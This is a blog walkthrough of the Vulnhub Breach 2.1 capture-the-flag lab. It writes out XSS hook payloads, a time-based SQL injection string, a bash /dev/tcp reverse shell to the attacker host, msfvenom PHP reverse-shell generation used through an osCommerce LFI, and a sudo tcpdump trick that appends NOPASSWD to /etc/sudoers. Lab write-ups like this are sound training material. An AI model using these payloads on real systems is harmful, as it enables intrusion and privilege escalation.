Vulnhub Breach 2.1 walkthrough

Breach has a static IP address of 192.168.110.151. After changing my Kali vm IP address to the same subnet as Breach using the command “ifconfig eth0 address 192.168.110.150”, I kicked off an nmap scan.

 

I was expecting to see ports 80 or 443 open. All that’s really left here is ssh on port 65535. I ssh to it and see the following banner:
Since there wasn’t any “source” available as there weren’t any http/https ports open, I tried “inthesource” as the password and access was denied. Next I tried specifying “peter” as login and “inthesource” as password, and it looked like I was logged in then immediately disconnected. On a hunch I ran another nmap scan and found port 80 was now open.
Reading the source of the web page I find the following hint:
Remembering the ssh banner that mentions “stop checking your blog all day” I checked for a URL of /blog and found it.
Before attacking the blog I checked for a robots.txt file in the web root but didn’t find one. Usually I would run dirb or dirbuster to discover hidden content. I’ve been looking forward to trying a new tool, dirsearch. Unfortunately no other web directories were discovered.
I searched exploit-db.com for BlogPHP exploits and found a persistent XSS in the new user registration field at https://www.exploit-db.com/exploits/17640/. I started up BeEF and registered a new user with a username of “<script type=text/javascript src=http://192.168.110.150:3000/hook.js></script>” and waited a few minutes for it to show up in the BeEF console. BeEF tells us that the victim is using Firefox v15 which is vulnerable to the Metasploit firefox_proto_crmfrequest exploit. We can also steal the admin’s cookie which exposes the admin password md5 hash, which was easily cracked on crackstation.net and is “admin123”.
Unfortunately I was unable to login using those credentials. I also tried to masquerade as the admin user after sending the request to Burp Repeater and changing my cookie to admin’s stolen cookie.
Next I tested the HTTP headers for XSS and SQLi and found a blind SQL injection in the Referer field. Using the original Referer in each request the page would load in under a second. When inserting ‘+(select*from(select(sleep(20)))a)+’ the page would take 20 seconds to load.
Edit: After posting my walk through of the challenge to Vulnhub, I read through the others and also searched for existing CVE’s on BlogPHP and didn’t find any mention of this SQL injection vulnerability, although there are others in the application. I’ve submitted this vulnerability for a CVE and I’m waiting for confirmation.
Sensing that the Referer header may be responsible for unsuccessful use of the admin cookie, I sent the original request to Burp Repeater and changed the referrer URL to use 127.0.0.1. No joy.
I sent the response to sqlmap “sqlmap -r req.txt –level=5 –risk=3” and confirmed SQL injection. Unfortunately I was unable to gain a foothold with it because sqlmap was unable to obtain the root user db password hash, and there weren’t any writable locations for sqlmap to drop a shell.
Let’s enumerate the database and see what secrets it holds.
The password for admin is “32admin”.
Now I’m going back to hooking the user with the XSS and Firefox exploits after getting distracted by the SQL injection vulnerability.
I configured Metasploit for the firefox_proto_crmfrequest exploit and created a new user with a username of “<iframe src=”http://192.168.110.150:8888/WqmmCs1DdtQtjh”></iframe>”.
A few minutes later:
Now let’s get a more stable shell. My attempts to get a bash reverse shell with “bash -i >& /dev/tcp/192.168.110.150/9999 0>&1” fail. So let’s find out why we get disconnected immediately after ssh login: “cat /etc/ssh/sshd_config”.
It looks like whatever is in “/usr/bin/startme” is kicking us off. I create a Metasploit meterpreter reverse shell binary with msfvenom and serve it up using python SimpleHTTPServer.
I wait for the Firefox exploit to hook Peter again and I download and execute it to get a meterpreter shell.
Our stable meterpreter shell:
Processes:
What’s running on 127.0.0.1:2323?
Those look like GPS coordinates. I search Google and find those are the coordinates for Houston, TX. Other users of the system include blumbergh and milton, so I try those usernames with a password of “Houston”. Username/password of milton:Houston gets me in. Another hint for “stapler”. Let’s see if we can find one.
Let’s checkout the source of /usr/local/bin/cd.py.
So “mine” is the answer to the question. Let’s telnet to port 2323 again and enter “mine”.
Now we’re logged in as user milton. Let’s do some more enumeration. The first thing I check is if milton has sudo rights: “sudo -l”. Nope. Nothing interesting in milton’s .bash_history file. I checked for suid files with “find / -perm -4000 -type f 2>/dev/null” and come up emtpy. I check for any new open ports and find port 8888 is now open to the outside.
I attempted to login as admin:32admin, the credentials that I dumped earlier from the SQLi, but they didn’t work. I checked exploit-db.com for an exploit for OSCommerce v3.0 Alpha 5 and find https://www.exploit-db.com/exploits/33913/, a Local File Include vulnerability. I created a php reverse meterpreter to upload with the command “msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.150 LPORT=10000 -e php/base64 > phprevshell.php”. I edited it to add “<?php ” to the beginning and ” ?>” to the end. I uploaded it to /tmp using my shell as user milton, “chmod +x phprevshell.php”, and execute it on oscommerce by visiting the URL “http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/phprevshell”.
The end (root) is in sight! I’ve seen the use of sudo to run tcpdump before and blogged about it here: https://www.stevencampbell.info/2016/04/why-sudo-tcpdump-is-dangerous/. I enter “echo ‘echo “blumbergh ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’ > /tmp/.test && chmod +x /tmp/.test'” and run tcpdump with “sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root”.
The flag:
Thank you mrb3n for Breach 2.1. It was a lot of fun and very challenging.
Thank you g0tmi1k for vulnhub.com. Vulnhub has been an excellent resource for preparing for PWK/OSCP and I continue to learn from the exercises. After earning my OSCP certification I missed the challenge and exhilaration that I felt in the PWK labs, and Vulnhub has helped me to relive that.
(Visited 980 times, 1 visits today)

1 thought on “Vulnhub Breach 2.1 walkthrough”

Leave a Reply

Your email address will not be published. Required fields are marked *